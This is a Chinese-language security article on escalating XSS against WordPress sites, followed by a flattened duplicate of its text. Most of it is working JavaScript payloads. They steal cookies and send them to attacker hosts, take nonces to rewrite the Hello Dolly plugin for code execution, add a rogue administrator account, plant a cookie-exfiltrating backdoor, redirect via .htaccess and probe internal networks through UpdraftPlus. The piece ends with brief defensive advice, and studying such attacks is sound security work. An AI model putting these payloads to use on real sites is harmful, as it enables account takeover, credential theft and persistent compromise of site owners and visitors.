从瑞士军刀到变形金刚--XSS攻击面拓展
字数 775 2025-08-29 08:31:41

XSS攻击面拓展:从瑞士军刀到变形金刚

1. XSS基础概念

Cross-site scripting(XSS)是一种Web端漏洞,允许攻击者通过注入HTML标签及JavaScript代码进入页面,当用户访问时浏览器会解析并执行恶意代码。

典型XSS漏洞示例:

<?php
$username = $_GET['user'];
echo "Hello, $username";
?>

当传入<script>alert(1)</script>时,代码会被执行。

2. XSS攻击面拓展

2.1 盗取Cookie

基本方法:

var xml = new XMLHttpRequest();
xml.open('POST', 'http://xxxx', true);
xml.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xml.send('cookie='+document.cookie);

局限性:无法获取HttpOnly标记的Cookie。

2.2 XSS to RCE (远程代码执行)

通过WordPress插件编辑功能实现:

  1. 利用Hello Dolly默认插件
  2. 绕过CSRF防护机制(_wpnonce验证)
  3. 修改插件文件内容

攻击流程:

// 获取nonce
url = window.location.href.split('wp-admin')[0];
a = new XMLHttpRequest();
a.open('GET', url+'wp-admin/plugin-editor.php?file=hello.php', 0);
a.send();

// 写入恶意代码
ss = '_wpnonce='+/nonce" value=/.exec(a.responseText)[1]+'&newcontent=<?php phpinfo();?>&action=update&file=hello.php';
b = new XMLHttpRequest();
b.open('POST', url+'wp-admin/plugin-editor.php?file=hello.php', 1);
b.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
b.send(ss);

2.3 添加管理员账户

url = window.location.href.split('wp-admin')[0];
a = new XMLHttpRequest();
a.open('GET', url+'wp-admin/user-new.php', 0);
a.send();

ss = '_wpnonce_create-user='+/nonce_create-user" value=/.exec(a.responseText)[1]+
     '&action=createuser&email=attacker@example.com&pass1=password&pass1-text=password'+
     '&pass2=password&pw_weak=on&role=administrator&user_login=attacker';

b = new XMLHttpRequest();
b.open('POST', url+'wp-admin/user-new.php', 1);
b.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
b.send(ss);

2.4 持久化后门

修改Hello Dolly插件为持久化后门:

<?php
/*
Plugin Name: Hello Dolly
Version: 1.6
*/
?>
<script>
var d = new XMLHttpRequest(); 
d.open('POST', 'http://attacker.com', true); 
d.setRequestHeader("Content-type","application/x-www-form-urlencoded");
d.send('cookie=<?php echo urlencode(implode('#', $_COOKIE));?>');
</script>

2.5 破坏性利用

  1. 页面篡改

  1. 点击劫持
<iframe src="xxxxx" style="border:0;position: absolute;top: 0;right: 0;width: 100%;height: 100%" onload="{dom xss}">
  1. 修改.htaccess
// 通过Yoast SEO工具修改.htaccess
s = "%23%20BEGIN%20WordPress%0A%3CIfModule%20mod_rewrite.c%3E%0ARedirect%20%2fwordpress4.8%20https%3A%2f%2fattacker.com%0A%3C%2fIfModule%3E%0A%23%20END%20WordPress";
  1. DDoS攻击:注入恶意脚本使大量用户访问目标网站

2.6 后端利用(通过UpdraftPlus插件)

  1. 获取PHP信息:
wp-admin/admin-ajax.php?page=updraftplus&action=updraft_ajax&subaction=phpinfo&nonce=cbe6c0b062
  1. 内网扫描/SSRF:
// 使用内置curl工具
q2 = 'nonce='+/credentialtest_nonce=/.exec(a.responseText)[1]+
     '&uri=http://internal-server&action=updraft_ajax&subaction=httpget&curl=1';

3. 攻击优化与防御绕过

  1. 条件执行:与C2服务器交互,根据时间戳等条件控制执行
  2. 代码混淆:将恶意代码混淆到正常代码中
  3. 自动安装插件
http://wordpress.site/wp-admin/update.php?action=install-plugin&updraftplus_noautobackup=1&plugin=malicious-plugin&_wpnonce=391ece6c0f

4. 防御建议

  1. 对所有用户输入进行严格过滤和转义
  2. 实施内容安全策略(CSP)
  3. 使用HttpOnly标记Cookie
  4. 限制插件编辑权限
  5. 定期更新WordPress核心和插件
  6. 监控异常文件修改

5. 总结

XSS漏洞的危害远不止简单的弹窗或Cookie窃取,在复杂环境下可以:

  • 实现远程代码执行
  • 添加管理员账户
  • 持久化控制网站
  • 进行内网渗透
  • 发动DDoS攻击
  • 完全控制网站内容

安全开发人员应充分认识XSS的潜在危害,采取多层次防御措施。

XSS攻击面拓展:从瑞士军刀到变形金刚 1. XSS基础概念 Cross-site scripting(XSS)是一种Web端漏洞,允许攻击者通过注入HTML标签及JavaScript代码进入页面,当用户访问时浏览器会解析并执行恶意代码。 典型XSS漏洞示例: 当传入 <script>alert(1)</script> 时,代码会被执行。 2. XSS攻击面拓展 2.1 盗取Cookie 基本方法: 局限性 :无法获取HttpOnly标记的Cookie。 2.2 XSS to RCE (远程代码执行) 通过WordPress插件编辑功能实现: 利用Hello Dolly默认插件 绕过CSRF防护机制(_ wpnonce验证) 修改插件文件内容 攻击流程: 2.3 添加管理员账户 2.4 持久化后门 修改Hello Dolly插件为持久化后门: 2.5 破坏性利用 页面篡改 : 点击劫持 : 修改.htaccess : DDoS攻击 :注入恶意脚本使大量用户访问目标网站 2.6 后端利用(通过UpdraftPlus插件) 获取PHP信息: 内网扫描/SSRF: 3. 攻击优化与防御绕过 条件执行 :与C2服务器交互,根据时间戳等条件控制执行 代码混淆 :将恶意代码混淆到正常代码中 自动安装插件 : 4. 防御建议 对所有用户输入进行严格过滤和转义 实施内容安全策略(CSP) 使用HttpOnly标记Cookie 限制插件编辑权限 定期更新WordPress核心和插件 监控异常文件修改 5. 总结 XSS漏洞的危害远不止简单的弹窗或Cookie窃取,在复杂环境下可以: 实现远程代码执行 添加管理员账户 持久化控制网站 进行内网渗透 发动DDoS攻击 完全控制网站内容 安全开发人员应充分认识XSS的潜在危害,采取多层次防御措施。